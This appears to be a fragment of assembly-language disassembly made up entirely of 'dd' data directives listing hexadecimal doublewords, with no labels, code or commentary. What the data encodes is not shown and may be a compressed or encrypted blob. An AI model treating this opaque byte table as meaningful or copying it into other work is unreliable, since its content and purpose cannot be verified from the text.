dd 47020F78h, 0E2A05838h, 0C0EF5D27h, 834F2507h, 0DA31129Ch dd 33CC7D97h, 0BD2C0652h, 916C58Dh, 0E447300Eh, 0E56A635Ah dd 0F106F095h, 1FC890C2h, 407E77F4h, 39C7A0C4h, 643CE903h dd 17769F45h, 9D8BAB40h, 0ECF390h, 0F7684F49h, 4D60E2C7h dd 24153516h, 94FDB44Ah, 38A15000h, 3C391253h, 5D8589BAh dd 8016D940h, 243CC432h, 0C117AB90h, 181E2FB5h, 0FAEEBA40h dd 0A491D5h, 0E67F4753h, 66F7739Ah, 0C5DA4400h, 0C4EFEB39h dd 3CC30048h, 193FFC68h, 0B470260Ch, 4613F107h, 0C8313304h dd 808002DAh, 0D85BA42Eh, 0BA019D1Dh, 0C5C111F3h, 60D232DCh dd 1C7354B8h, 853046F8h, 0C098185Ah, 0BDCE3EA1h, 6ABA6860h dd 933ED08h, 0E5ECA795h, 7E62D800h, 93B0721Ah, 7599E909h dd 4814002Dh, 0EEDA0h, 0EA0D4FA1h, 1793C712h, 0CED3010Ch dd 7399871h, 91B6CD7Ch, 5544F0BBh, 32017E6Fh, 3498604Dh dd 91E3E405h, 309F5A0Fh, 718680E2h, 2A29E1A9h, 8310BF03h dd 0F0A36B1Ch, 0F7A17BDh, 69FFA818h, 4C28C220h, 9676B80Fh dd 1D720C39h, 0F64023C1h, 8A2C9FBEh, 0D8630E2Ah, 796026E5h dd 0D11FCEA4h, 53775900h, 5C92016Ah, 0D3FF2F17h, 0AE20900Fh dd 0A584BD3Eh, 8E679900h, 53257706h, 831F002Eh, 0C7D96435h dd 0EB00D04Eh, 7CF61481h, 7D602h, 945E8A2Dh, 9C62DEF0h dd 75277100h, 0A4BAC5ECh, 0EB60C74Eh, 0C02917CDh, 0DA806652h dd 0A024FA00h, 0AC63993Eh, 5650250Ah, 0A679C402h, 0A803A470h dd 0ACC9B0DEh, 8D45A3E6h, 0EEB2ACD1h, 731F1080h, 2EBB5469h dd 8657C605h, 24071151h, 0A0DEE203h, 597C6BC9h, 9EAD0031h dd 3ED97F4Eh, 602AF2EFh, 0C1E080DFh, 53BB3118h, 3E68B40h dd 1430AB6Ah, 16B0600Eh, 80022603h, 0E1AD1D28h, 5FA0C006h dd 0BA0E397Ch, 83C000CBh, 0DC3BD085h, 0B9CD4200h, 0F68D55D6h dd 0FCC20004h, 0BFC462C0h, 0ED608B1Dh, 7484F879h, 47900A5h dd 0BCCCEA6Ch, 0DD00BD2Ah, 3A1AEB97h, 0BB1DE1h, 5AE311CFh dd 74D66288h, 3AD271C4h, 577588D0h, 9A640114h, 48171201h dd 0B89060B4h, 0DE273701h, 0A9F50765h, 9FBAAC41h, 0D886B053h dd 0A0774D64h, 0FCCDA7h, 213D1290h, 0BCBDBB6h, 0A42D29C0h dd 4FCA96h, 83A651BCh, 0B7DC688h, 0B1ACC200h, 0E5D44ABFh dd 78C02D2h, 7B6E6703h, 0E4A4FBE0h, 9D51800h, 24FE75D4h dd 56350BFBh, 0B180A2BAh, 6ABE2937h, 0A0515200h, 0C70F745Ah dd 7E6E0072h, 1203B41Dh, 2C00DC0Ah, 8529BACEh, 96BBD4h dd 0B1AAD3D9h, 407F524Fh, 89638425h, 1298120h, 1180C28Eh dd 64538D10h, 1600C45Dh, 1D94B56Dh, 125F1C75h, 53478441h dd 32D3AC50h, 40305081h, 0E31796h, 0A3CC9534h, 4F08D983h dd 5A8FCD07h, 21D0A7A5h, 32CC9E2h, 29FD9235h, 10A08C26h dd 7500CF37h, 0C05C3004h, 73D5714h, 991D9317h, 0D70BF0BBh dd 0CF00107Dh, 0F930FDBEh, 1657CBDh, 6193EC18h, 83AD0C7Ah dd 4DAE9248h, 47CEA0A4h, 68DFA6h, 3CDFC817h, 0E90C3D03h dd 846EA14h, 0E621C033h, 55A5E039h, 3EFCEC4Fh, 41EB581Dh dd 4B3265AFh, 0CD298084h, 827E6CD3h, 0D8709Ch, 0B8A0FA95h dd 1251DEF4h, 6386800Ch, 60CA8809h, 1BFD0817h, 0F20005C2h dd 0A7A216FBh, 16B9449Eh, 56EFBCh, 58D36990h, 0FE7B97D7h dd 1D88E900h, 0CA6BFD82h, 2190A84Bh, 5F410ECCh, 0F202CD7h dd 68467A6Fh, 0E8225602h, 0A06B70A7h, 84A5FD80h, 37FC74A1h dd 0C1413AC1h, 8087A8E4h, 319FA2C9h, 0FA78A04Eh, 0AFCC3h dd 0AB94FED6h, 0ED5C84CEh, 0BC104202h, 112080h, 0C7F5D5DDh dd 0DF3D292Ch, 833121Eh, 60210008h, 9889F5DEh, 0BA03DD56h dd 2B456685h, 0F12CA8ADh, 6A2033C9h, 0A3B04D80h, 7C0349EDh dd 4E5FD3BCh, 7934C01Dh, 6E40051h, 3FF480C8h, 0D431051Bh dd 59CA3812h, 2FE841B4h, 8D17EA04h, 0B4C000B0h, 95244B08h dd 20C206EAh, 48986A80h, 921DCA84h, 0A5BF0054h, 0A073864Ch dd 110061BBh, 0FE035924h, 1D32156Fh, 0C0742652h, 1CC908B1h dd 5304932Dh, 4A0B3CDBh, 6AEAC88h, 0CA816860h, 0D53B592Bh dd 0B9168050h, 628BB4DCh, 243B0C40h, 0C7B10E8Eh, 0A0183654h dd 0D84ED103h, 98469164h, 58FF757Eh, 0C079E201h, 8944D0E1h dd 818ACE6h, 0CE498F48h, 1C6E00F1h, 0D6165337h, 7B061A27h dd 0FCF02211h, 6B9A0038h, 0E1477DADh, 0A8E2834Dh, 1F1E6100h dd 0FF02AC9Fh, 0D99500B4h, 0A6743F6Ah, 890016F2h, 3151A1CBh dd 93D49Fh, 0ABF86704h, 47929914h, 0C0DC484Ch, 3DFE035h dd 22E84355h, 0CACD3F5Dh, 0C1813580h, 0EA26ABADh, 8A61905h dd 0DC202F05h, 0FBC2A97h, 6426A890h, 0F243B2CEh, 0C49A0223h dd 1B8EE10h, 0C6B020EBh, 0E0454630h, 283822EAh, 75387A0h dd 0E3C8AD36h, 58B89A02h, 4D511EC6h, 90A810C2h, 721D1834h dd 11805752h, 3CCAD11Fh, 29C92ACEh, 0F47100CCh, 9C83A095h dd 2000ED76h, 99D75EDFh, 0C5D5C6B8h, 21A10560h, 937C47E4h dd 0A000C4F9h, 22D65984h dd 3E3600CEh, 69FC7D5Ch, 0EB584F23h, 722E0898h, 0A1AD00BBh dd 58CB8CAh, 8C14122Ah, 2F0EBCF8h, 0A3F031A5h, 358623h dd 8869F261h, 86DE88Ch, 0DC043106h, 3A891EC9h, 0A900B47Ah dd 1721B323h, 6C00940Fh, 564FC7DCh, 2A7A5DB6h, 0A1AC2485h dd 4C23A394h, 49801F7Ch, 385C0D0h, 4CC94E6Ch, 6302B54h dd 0C7355F12h, 3C459E00h, 28AAA04h, 0A6FBD817h, 90B09D31h dd 44842C2Ah, 0E7004E8Dh, 3AEB8361h, 0F9690Ch, 191B4386h dd 79942405h, 0A08029C3h, 0F4A9A6F6h, 88008A35h, 65C9901Ch dd 860290A0h, 0C371490Fh, 13854FFh, 3F282C8h, 0B2F9B4E1h dd 72A9C8h, 804D4414h, 0FFA81B95h, 0AD2FCC1Dh, 79D705FFh dd 8C420686h, 468CC378h, 0BC4705F4h, 0C8C50A89h, 0E3E09A1Ch dd 0B77E7403h, 12CA02h, 7B9B3C19h, 0CF333A1Ch, 8F017FE4h dd 5FEB80E0h, 0CC6477D9h, 70DD64CDh, 1B115892h, 8386A33h dd 10513056h, 327C2B57h, 0CA910D0Ch, 18AE123h, 0A33EB28h dd 8705F63Eh, 995811A2h, 0B57B2920h, 4BE324A0h, 1B0200ECh dd 0C572F30h, 0A85170C0h, 0D5F712h, 0BB870A5Ch, 0FA94B847h dd 55177775h, 0AC300205h, 24237D3h, 1A72B213h, 4863A1E1h dd 0F4DEA814h, 58948AD0h, 71C0249h, 0DCD6005Dh, 3D48227Dh dd 0F92A1F58h, 89058930h, 2939C61Bh, 0D5F841B5h, 0F92E4C00h dd 9DA6590Bh, 3332286Fh, 119128F4h, 4680B0DCh, 0F50873BAh dd 0C4ED29D9h, 0E2D24005h, 0E425DFF5h, 48258AEh, 0B74F43C0h dd 4500E97Bh, 7F0C904h, 3B0069Dh, 12A7B831h, 991B8DECh dd 0C0F17805h, 60E4249Ch, 336E10ACh, 8A64F82Dh, 5CC8C329h dd 94A601DAh, 0C49D88A7h, 0FDC020C6h, 9CD83A07h, 78F01F83h dd 0C29EABDh, 8CFA030Dh, 4D03CB39h, 95C01E20h, 31C7E0C3h dd 91E60C4Eh, 4D885BCFh, 0DC92AF12h, 1436A48Ch, 8203E2E0h dd 988A45Ch, 0E0374880h, 89C06Fh, 316B7AE3h, 0DFB4321Dh dd 10381258h, 3800FCA7h, 0C6EC2FB5h, 890C490h, 0C37C2A50h dd 0C522D4Bh, 89BF1400h, 1A14C05Dh, 0C19140C8h, 73ECC863h dd 7107A4DDh, 80404E3Eh, 5F285AD5h, 2F000C90h, 40572703h dd 1876051Bh, 5822EDEFh, 639F4771h, 0DD58042Dh, 0C85ACFBCh dd 76032F80h, 9AFF72A1h, 29203ABEh, 9424D0h, 0AC8C2E97h dd 0CC5B4914h, 18C74129h, 0E174AB0Fh, 73B56ACFh, 0C0800FEDh dd 85756439h, 65015AD4h, 0A7C74540h, 32E8A0E4h, 2C2D02C1h dd 6F4A2FF9h, 0EC773C60h, 68D9801Dh, 4142F740h, 1CEA789Dh dd 0B3A48775h, 0B808C780h, 26E15D4h, 0F02D528Dh, 40109CA4h dd 3D4D82A5h, 0CF1DF9Ch, 4410A10Ah, 8CFB6926h, 0A0FEE308h dd 0D80407E0h, 555F77h, 0FF24E1FDh, 33B2E4A8h, 0DD4B511Dh dd 0CB1304E6h, 21F0085Fh, 0F650DBCDh, 29A71407h, 0F2161C21h dd 1481D77h, 0C3C6B17Ch, 1A7180DAh, 5E245AFCh, 0DF9000C9h dd 0D599B5E5h, 120077B0h, 8CBAFA18h, 6AD9AA1h, 4C2B76FEh dd 0DF469808h, 9D513901h, 0C2D60DDh, 60FD419Ah, 0C5FC4E9Bh dd 0AF304916h, 242C8C13h, 721348AEh, 615FCE01h, 0F8DE03ECh dd 109AC36Eh, 0D802C746h, 0D529D4F5h, 0D980F131h, 0DBF5E03Dh dd 592E4F7Eh, 0D13F5DFh, 0B531D400h, 17E3522Bh, 0E0558061h dd 3264287Dh, 44CB4338h, 3010FAC4h, 272585Ch, 88E72F1Eh dd 7CE81821h, 0F81E7D4Dh, 0A3226D8Fh, 953CA094h, 7011C007h dd 0AB39E348h, 826A703h, 0A2ACE190h, 0DA90A77Ch, 0A81EE333h dd 398A9177h, 9D0035D3h, 0ED50EBF9h, 5630B89Ch, 7DA1708Dh dd 9A6A4084h, 3B1CD80Fh, 88E381B5h, 18938234h, 0DC8033Fh dd 10008C7Ch, 0B8B72A86h, 8072D7h, 4E8662Bh, 0A6D8AC65h dd 0A8D2C012h, 0B9112D05h, 0F748EC00h, 33E92A4h, 4A01D6Fh dd 11C87FD7h, 430067B3h, 0AEF5C92Ch, 18801AACh, 18D0FF94h dd 8D3E2E5Ch, 0EEB00EAFh, 2C0090CCh, 0FCDC7DB6h, 7CB8739Fh dd 8583E903h, 0C8625D27h, 6D7113h, 0A9AC3929h, 0FFCFC182h dd 2FA87C00h, 9AC9D7AEh, 98F2747Dh, 0B46F306Bh, 0DF6CFC10h dd 680FCB71h, 0F9F07FE6h, 3180FF08h, 67DF64ADh, 0C201403Ch dd 2F14D1BEh, 7260984Dh, 0C0A960EEh, 0CA53DD85h, 9D697460h dd 1B40339h, 9EB6371Ch, 0D0B5A7F2h, 20C0DD8Ch, 0F803976Bh dd 8BEB075Fh, 5762A960h, 7C35B027h, 6A777793h, 0C8BEE433h dd 0E084971Dh, 0C0477001h, 118BA71h, 0F410D77Dh, 23EDB455h dd 22F1ED40h, 0EBF30031h, 7EB88494h, 0C20BAF45h, 0FFAB78h dd 8076E0BAh, 5D8B005Bh, 0E27B1A58h, 5E075771h, 17E5A9BAh dd 0D93693D0h, 0F2C498F5h, 0E48E0026h, 2812821Bh, 973A05C7h dd 0FD0F8092h, 3A613983h, 0E538036Dh, 0EB6D613h, 12871EF0h dd 0A184EF01h, 546E21B3h, 3F164F0h, 0F6341CB6h, 77D01A62h dd 0C20E0B57h, 415CFEA6h, 0BAECABE3h, 78D7C4h, 0C66970BBh dd 5E1C48CCh, 0A54A60Bh, 4E648053h, 0F6D2907h, 4C14B9EBh dd 0E4F28F60h, 7F00BADDh, 58EEBD5Ah, 0BF52DFh, 546B421Eh dd 0CD43F6FFh, 24117507h, 18C312B0h, 2215F885h, 1D7F0FB9h dd 8D2F0AA3h, 10B88F8Fh, 0E1006E64h, 0CDB9B747h, 0CCB80D96h dd 0C4215808h, 0C9BAAF00h, 0E849F444h, 5D720019h, 56C29968h dd 0F900020Dh, 8584A598h, 0C1A61825h, 2A8F7039h, 0DFFCC44Eh dd 3BE5D000h, 0C5D9017Ch, 4C981Eh, 6AD2FAC4h, 84AB8733h dd 0B2B8740Ch, 0E8B9407Eh, 59796FB5h, 36BD0300h, 0BB0C6F0Ah dd 91E2E33h, 6321C08Bh, 7D56364Eh, 93F94A00h, 2C72FEF1h dd 908406A3h, 996C0F5Dh, 0E9E3470Eh, 8144E049h, 61941Ch dd 6CD0FA16h, 40D30EDAh, 0F2942C54h, 0B4C1743h, 21B7C00Ah dd 4150C494h, 68E17ACFh, 8BF5C0h, 9C76C31Fh, 2E8D95DBh dd 8E37F71Dh, 0E600A310h, 90B7AFC2h, 6300472Bh, 0E5A4AB86h dd 0C3A3164h, 0EAF0FCACh, 0A2008459h, 74C4179Bh, 4EB7A5h dd 54ECF1DFh, 0C756D3FEh, 41E319F0h, 9F0CD554h, 9843E339h dd 0A0556976h, 12511EDh, 24DC1C8Fh, 809AAFBEh, 0CFEE0D98h dd 0E7D9FF1h, 419C7B25h, 45EBABA0h, 4E0193A8h, 0CB5483F8h dd 0DE4E519h, 0A2F5009Dh, 122C702Fh, 0E10598A1h, 385C58F7h dd 9C40FC03h, 6A4588B5h, 98806006h, 2B65F816h, 8E004890h dd 0ED9554C1h, 313A038h, 0B0250A81h, 207115A6h, 94E90905h dd 203864E6h, 0F04601h, 2C792E7Dh, 0A878C6AEh, 0D4A5FCh dd 0E69076E4h, 0EDC280F6h, 900A08CAh, 0E4DD8280h, 0DEDA3Dh dd 92566027h, 0A1FD02E0h, 79E2E0A8h, 119CE8A0h, 0B600A878h dd 19BF4C54h, 44F314A0h, 5E002110h, 0C97EACC3h, 48086Ah dd 0E512E4Ch, 0B87544FDh, 9FD02354h, 77F72100h, 0A701963h dd 579218A0h, 0A93D497Ah, 0A4C44D07h, 93B15AB5h, 34FD5B64h dd 0B0D32187h, 0F695A04Dh, 6948DCC0h, 10989490h, 0BCC77508h dd 736F3236h, 64108A31h, 0A3073692h, 0B9680344h, 3A775880h dd 730C2A79h, 9095EEA0h, 1604005Fh, 0D45B0FC5h, 12027614h dd 0E67EB656h, 7238A074h, 246F0136h, 58D09A43h, 36009062h dd 8D4D4CEFh, 14D0236Dh, 0E81BF4EAh, 7F66B903h, 0C810382Bh dd 0C6C0A472h, 0E36ED536h, 5EC0FC91h, 0ECE1369Fh, 0D77A2847h dd 881EF4CCh, 98007D0Fh, 50368D2Bh, 0C1CAEh, 87156D99h dd 8992D4D7h, 5D0E760Eh, 429404F1h, 0F8B18D0h, 39D38885h dd 97961800h, 0E19EC191h, 233807EAh, 0BC69FCF1h, 18A01B89h dd 83008CEDh, 0B7D52E22h dd 0ECC33802h, 0B4B50045h, 88FDE81Eh, 513F3FC1h, 0BC744DF1h dd 4428017Fh, 26EDE064h, 0FA90176Fh, 1FD5681Fh, 6625EA9Bh dd 0A10C0230h, 6861AB85h, 39B718ECh, 7190B2BAh, 807AC8D8h dd 5CE16CB9h, 0B400912Ch, 2F817CABh, 0F6850430h, 4C6C92FAh dd 6CCAD897h, 36C8C0DCh, 53216F8Fh, 5E69199h, 313649B8h dd 0F0F7C080h, 0D7EB3FF8h, 9421EF30h, 9009966h, 69AD33E7h dd 91FD0D15h, 21983B9Ch, 909EA982h, 39E87837h, 6ACC3780h dd 8234CA1h, 200B423h, 0D690BCE5h, 10814203h, 580E419Fh dd 0DFC0E3EAh, 0CB0C63D1h, 2A181C60h, 0CE490Ah, 0B3F6AF18h dd 26D004D7h, 16526D00h, 3AE187CBh, 7AE8A156h, 2134C0h dd 20CD851Ch, 4B8D754Ch, 7DC42213h, 35CBAC00h, 820F6Dh dd 2C332652h, 75A466FAh, 23098C71h, 20F547E8h, 7D43918Ch dd 0DC3800F0h, 0AB84FAF7h, 0AE140FF3h, 80FCC6DFh, 0D2C96745h dd 0B5F12621h, 901DC04h, 0B9CCC138h, 4DD80126h, 88D77275h dd 87744240h, 2E68C700h, 0DF90C670h, 0D2503E99h, 22AC0D0h dd 7D8B54Ah, 686C9FA0h, 0E54DC002h, 195B2CA7h, 48021017h dd 1DEC4Dh, 3827A459h, 5766DFA9h, 2B0FC200h, 45EC3D83h dd 0C6E1009Ch, 56D2FB3Eh, 18B8A20Eh, 24250616h, 0FF1C72h dd 0EAE5DFADh, 9A682D62h, 60C442B9h, 28D07A50h, 0FAB0C7C1h dd 764D0B66h, 6030E0F6h, 0B429F23Ah, 1EC42096h, 80315771h dd 8E876ED1h, 0F7F170h, 45C58A44h, 650EC741h, 0E6F2542Ch dd 553EBC22h, 0A19986A3h, 58B0E3F9h, 7A804CD5h, 0FAC1AEF1h dd 0CFB8EC2Ch, 0BA869207h, 0C7ACB9C0h, 61D4ECF8h, 0D7B4489Ah dd 86398018h, 0F89960F6h, 30EE0302h, 96A642EDh, 0D21F21EEh dd 2D00A0B4h, 0DFF4179Ch, 9BE79B6h, 0F95A2A44h, 53496C80h dd 8800B941h, 5143204h, 608B408Fh, 1001B9F1h, 2F004EE4h dd 0E02AB37Bh, 0AAA7Ah, 900F58FFh, 2131268Eh, 0F8946C00h dd 28E4BC7Bh, 0B74D1E1Fh, 391E0F29h, 0A4EBE100h, 0C0010C72h dd 24D4A2AFh, 0ACE076D7h, 6C91D5h, 740D28A1h, 17078CF4h dd 9E974F27h, 7AF7640h, 2A850FD3h, 0A8E034E1h, 0DB829F96h dd 8051B139h, 0B889E598h, 9E0D94h, 0CD05D85Fh, 4565E802h dd 0F0B94E00h, 0AB2B104Fh, 6F5700A5h, 0DAB82EF2h, 66007EB1h dd 2DB6776Ah, 7199E3Eh, 1FD2919Dh, 8F6D83CAh, 0E2EE3FA0h dd 0AFFB8300h, 88DAC451h, 0EA01004Ah, 0D6324B8Ah, 970EB747h dd 0E02D17F5h, 0B1E2818Dh, 77EFEE9h, 2C4C96CAh, 0E380E032h dd 0FE005893h, 0C3B9A10Fh, 0E8AB1C68h, 0E901FC5h, 80E31F87h dd 7C67800Ah, 0FF732415h, 551A0707h, 0D950376Fh, 285632F9h dd 180E93Bh, 9B2E2CC4h, 80B4E55Fh, 41649A10h, 3EEF9367h dd 0E4012624h, 335E5FA0h, 0F83ACC46h, 988F9A00h, 1767BA85h dd 294F006Eh, 8E55FE16h, 0B300C141h, 0D2F892F4h, 7A2AA63h dd 95C7C386h, 0EEBCC0EFh, 0CB009461h, 96DD2DFCh, 185CEF1h dd 0B11749Fh, 0EC0635E4h, 8C00EB7h, 2EC8A469h, 4F970072h dd 74EA1D7Bh, 607A82E2h, 27FC0D7Bh, 50F09000h, 5670990Ah dd 7579002Ah, 68314832h, 0D0003FA1h, 8062F1E9h, 0D7E66Eh dd 0A2B15627h, 84E482E0h, 0E507F700h, 0F0A70D7Ah, 78423B9Dh dd 7668B580h, 2139D064h, 17085F03h, 0B8662C41h, 4CAD4Fh dd 26C210F7h, 705247EFh, 4AA3BA00h, 1D802E49h, 350D1E1Fh dd 585540E7h, 0DEEEB7B4h, 8ED53F00h, 9CF525EBh, 6C8C00BCh dd 35E326CBh, 0C0B51249h, 8EBB23h, 64A49C59h, 89ECDC4Dh dd 80DD543Fh, 40A7E89Dh, 3B527C1Eh, 9300E594h, 0A1A5347Fh dd 750F26C8h, 0C0ABB756h, 82501FF5h, 2E080047h, 2686C904h dd 17A842Fh, 648818C1h, 0C12B4390h, 0F80B4556h, 0A900EA56h dd 0D90E2DE9h, 4DBC22h, 0FE9DEDA8h, 9337AC04h, 29F61C00h dd 516F0B3Fh, 0D57200EAh, 0C456678Fh, 0C800DBAEh, 0C7A548C1h dd 3EDD27F3h, 0A203AD3Dh, 2E110971h, 3B9D83Dh, 479F3505h dd 5854B0A9h, 39203A61h, 38A29680h, 0D389D1B1h, 0B3303A60h dd 7417F6B6h, 0ADDA0073h, 9F0F1E36h, 0EF06C57Bh, 0C0282A0Ch dd 545D12A8h, 821FAADFh, 20141D00h, 1D3C58A9h, 4337D7FCh dd 0C8F0B00Eh, 16F67BF8h, 7C6102C0h, 0BD0945h, 6E96B104h dd 2389D683h, 0BA6F480Eh, 131DC064h, 3E2A8FA5h, 0CB9486BBh dd 7C089C30h, 2602A7E3h, 0A043A824h, 44B41124h, 0F0E416F5h dd 6DC001FFh, 0E4D53260h, 0A600CEEBh, 7CED83C5h, 1E56B250h dd 40C06F18h, 6EAA60EAh, 30018851h, 34AC200Dh, 0EFDC480Bh dd 0B3AB0EDh, 701071C7h, 873C1100h, 4E007216h, 1191E05Bh dd 2AC5011Ah, 2E05780h, 8F58A0AAh, 0DC00849Fh, 38FEF909h dd 7B07BCB3h, 0B2FBEA1Fh, 0ECAF0ACCh, 0F7F4D4C0h, 4100D8F2h dd 0FA67AEABh, 2F6E808h, 65B330BCh, 0D08094B4h, 181D53D9h dd 3B007448h, 62D70E90h, 0A6EDE73Bh, 3D482C00h, 81021F7Ch dd 0BE6C098h, 0B6477E32h, 7904FB01h, 9A7A1C4h, 2CBA80D0h dd 1DA22Ah, 0DF384F51h, 33FCF596h, 0B43E0503h, 0F8E0909Dh dd 0BD8AA9h, 3BB74C8Bh, 0EC725752h, 91580500h, 9A56A94h dd 31674CBh, 92C18CADh, 0DD88883Dh, 0BBF408F4h, 56E9100h dd 0C2BE1450h, 57C60A71h, 0B802521h, 240030ACh, 8A0DCCEBh dd 0DAE289FCh, 5642E13h, 9A077AE8h, 503FFC9Dh, 6C4176D8h dd 0B9C4EB39h, 0D600F480h, 22B34784h, 3F7877C2h, 0E65CFAE9h dd 0B2202300h, 957E81EEh, 0D0543300h, 0BF5536AAh, 1C850146h dd 7D64C543h, 0D3B5C8C6h, 0B6F19700h, 9E07C49Ah, 0B49503BDh dd 0E1F6520Fh, 6402B808h, 2587001Eh, 1568700Ah, 0D028FD28h dd 3C546A00h, 58BCD6DEh, 2AA89085h, 24D8A112h, 0FF150ECh dd 7D6081F2h, 341F6FBBh, 88EAE603h, 2A95839h, 0B4D4D028h dd 14689FDAh, 3178DDE0h, 0A65E3D38h, 0C9090466h, 528000BAh dd 74D6C16h, 0F626A290h, 2941E0C1h, 7F00471Fh, 0A07A4E8Bh dd 1EB3F270h, 8358F9C7h, 0C4D5D44Fh, 26F035DBh, 0AC3C2BB1h dd 7E388008h, 19D38390h, 4CF001Ah, 1720955Eh, 0F6007F30h dd 320FF280h, 9B78A6Ah, 0B0C3D60Dh, 85A47B03h, 49A310A8h dd 39D4BF07h, 0B1C0A14Dh, 442BEDh, 0B5E5A7A8h, 7EDF6563h dd 7C55D303h, 0D08D5753h, 724E76D2h, 0A6E102B1h, 132B31CAh dd 0AC464C40h, 8400AB79h, 0F4A1E588h, 18353EBBh, 0E850DE4h dd 3B0FF03Ch, 0C06DB405h, 0FB3274E8h, 0C78800A2h, 0E03D7321h dd 0B3000E8Ah, 11CA471Ah, 0FFCDA7h, 65AE9284h, 28D02C1Eh dd 0DF2BDB00h, 6B94683Fh, 3AFD12D9h, 0E5BA006Eh, 0DBDEF556h dd 79D8330Eh, 0D7D3C027h, 3FB108h, 0E9FA239Dh, 67BF6EA9h dd 0EEA2F02h, 43045FD8h, 0CDEEA04Ch, 4109A53h, 0FEF8F6E6h dd 0A1A4D01Ch, 60006AFFh, 0B5D11325h, 0E05390C9h, 447E0774h dd 0D0DF931Dh, 0A06F6277h, 48CDBE1Bh, 6990C06Eh, 0A3280036h dd 229D1CDEh, 0EF02733Ch, 4B76AC39h, 816C62FEh, 9CD2FF2Dh dd 0E2914AE0h, 0D33A01DEh, 0F0694067h, 7EB88BD1h, 1BC887E6h dd 0C06FA443h, 72C6DDD6h, 4FB818h, 6873910Ah, 4EF676CEh dd 0E7752207h, 346AA14Ch, 47973105h, 58548C0h, 1371006Dh dd 5D4C49B2h, 0ED001A81h, 0AD19A308h, 3F7CB61h, 714AA9D0h dd 7A8AC33h, 789212E0h, 7CF422A0h, 0F6B3EB26h, 1F003A1Dh dd 62DD5388h, 46F585Ch, 8E61E106h, 0A0C072BBh, 2D786A09h dd 0CB8A0003h, 42AFEE81h dd 9900DB20h, 0A7C9D492h, 3DE3AC6Ch, 4580518Bh, 0FCC2624Eh dd 300191Ch, 0B7CB0506h, 8EE454h, 7B7E58F6h, 3CDCAD16h dd 7589DD00h, 84424611h, 0E46D009Ah, 37F3FAF1h, 240E3592h dd 0CE806A25h, 96D46C93h, 70F01C4Eh, 0F4E681C0h, 8043AB04h dd 9AD76E18h, 0BDB0F5h, 6A1E9CF6h, 8CFC1F11h, 4D3C917Ch dd 0B2B9007Eh, 19714BABh, 72D14E6h, 0F30E9077h, 2780C68Eh dd 6CC1817h, 63266F01h, 0D65190F5h, 449E508Bh, 80086C25h dd 0F3508859h, 9FFD000h, 64596036h, 955D1FE4h, 40911D52h dd 0D38DA2A7h, 0AA0E9AE8h, 0B3553h, 6A3C76D4h, 0DE40C0DDh dd 2027A3D5h, 0A8E91B2Ch, 850B880Fh, 0FF85497Dh, 0C1040450h dd 0F7037024h, 120931CCh, 4010117Bh, 0EBE57128h, 0E7003C75h dd 0ABF49653h, 739314h, 941182AAh, 64E16A21h, 8730A167h dd 406743C7h, 3FBC70C0h, 0FC94004Fh, 78C3ABA9h, 0D22A7B3Ch dd 0A3142874h, 7CE3D75Bh, 0AB05630Ah, 0CBDC089h, 0A9249248h dd 58D02C96h, 36021C8h, 8AA2AA2Fh, 42DFA804h, 9141EF3Ch dd 0A0735DCDh, 3A009058h, 77A91FD1h, 0A117A7E1h, 919242A0h dd 0A4900AB5h, 7E17427Ch, 16C508A3h, 7B4E7902h, 489DC3E1h dd 28C7AAB8h, 98493CBh, 75184D11h, 13D70803h, 50097814h dd 74341048h, 0A3AA70F0h, 79CCA8A8h, 52557418h, 3B82738h dd 992235D1h, 0DD98166Fh, 9E619B66h, 87B2F4A9h, 0D01880F6h dd 2E057FA6h, 0C2D8F93h, 0CA17662h, 0B9B01D30h, 2CFAAF6h dd 7BAB5F5Dh, 0CCA08641h, 0BE622AF2h, 0E30C9CA8h, 0F46C1201h dd 723577Dh, 371C7429h, 0C4100022h, 3D5D707Bh, 0D1A0D73Fh dd 946E0CCh, 0B9522818h, 9AFD11h, 0FEBC2202h, 748EA427h dd 0BD52241Ah, 0DAC40469h, 7D463088h, 0E18F0A70h, 48A05207h dd 547A07F8h, 90F9A41Fh, 9A924D00h, 0FA06BD18h, 92F39510h dd 0FECA020Ch, 2EAC70E4h, 62A94463h, 21DC3023h, 0FCF68C03h dd 0A0BEA420h, 0D494ABh, 6F08EB8Ah, 1B5D2BC8h, 0D57CC92h dd 0B22CC140h, 68A1AA06h, 780F9040h, 0E793F00Ch, 1FE91820h dd 6A98EA1h, 689AD11Dh, 0F2780DE0h, 548A20CAh, 60D910B1h dd 2122BC42h, 20B018DEh, 0D660AB44h, 8164E40h, 0C0210F20h dd 0A4952D13h, 41528501h, 20D3F6D6h, 50501538h, 0DB42110Ch dd 5118A874h, 0FAA488FFh, 90C0E40h, 27B21B56h, 0F38E8020h dd 0AC034948h, 9E08671Ah, 9A081912h, 0F0DF2078h, 0DB002A4Dh dd 9E9313F0h, 26A47B2Dh, 344BF9Ah, 0DF7E5A85h, 86706804h dd 5CC6D056h, 10FCA3AAh, 0DFB12470h, 0AC404801h, 0B60C6822h dd 72DE488h, 79DA9D4Dh, 0B9C1AF6Bh, 85DDCF6Eh, 0BEA3661h dd 97A9CC22h, 809D1130h, 97D36137h, 7C5B1EFCh, 0B795CD63h dd 0B8509158h, 44481280h, 6E4382ACh, 0E0009C22h, 3C5E4D19h dd 0B856B99Fh, 85A61E79h, 1CF9662h, 0C6F3700Ch, 28243034h dd 4C1B210Ch, 9C1FDh, 72FE4958h, 8B8EB2A3h, 25B3D33Ah dd 33780704h, 11504E87h, 662A1BCh, 460B08DCh, 630CA823h dd 0B8B6B984h, 901600ABh, 6CBD73AFh, 5A48A6C4h, 831E7364h dd 0A540AE86h, 0BD50A138h, 0EDB40399h, 448A1C16h, 36FCEBF0h dd 38583100h, 4E8CE480h, 1DA7B85Ch, 80019F32h, 596541BEh dd 0CA0FA2ACh, 0A07A2A16h, 6B5E5FF4h, 8B3E00B4h, 0A30E355h dd 50BDFADEh, 0B3DB1D54h, 4DB54031h, 0E056F48Eh, 20916319h dd 0C6CC9F30h, 0CFC100A8h, 7584A247h, 9B71E059h, 0F31440h dd 71EE2CD5h, 761A6212h, 0EDA95901h, 4E2589C4h, 811204Eh dd 3D419D2Eh, 0C4FA8FFCh, 0FF53080h, 5E44A163h, 18AD500h dd 55F13A56h, 0EB4007BDh, 92485F87h, 5400C77Dh, 72340694h dd 1DBF038Dh, 1266DC29h, 8BA94FA1h, 32A1120h, 80A1FD8Eh dd 18CE27CDh, 40C8125Fh, 0BB0166F9h, 9A6007A3h, 3DC01676h dd 0C4F606E8h, 99F17E21h, 0F50EB400h, 5418D6DCh, 876D1DF2h dd 0B9BF0C55h, 57053120h, 822705F5h, 12B5F180h, 1E5018AFh dd 2BA520BAh, 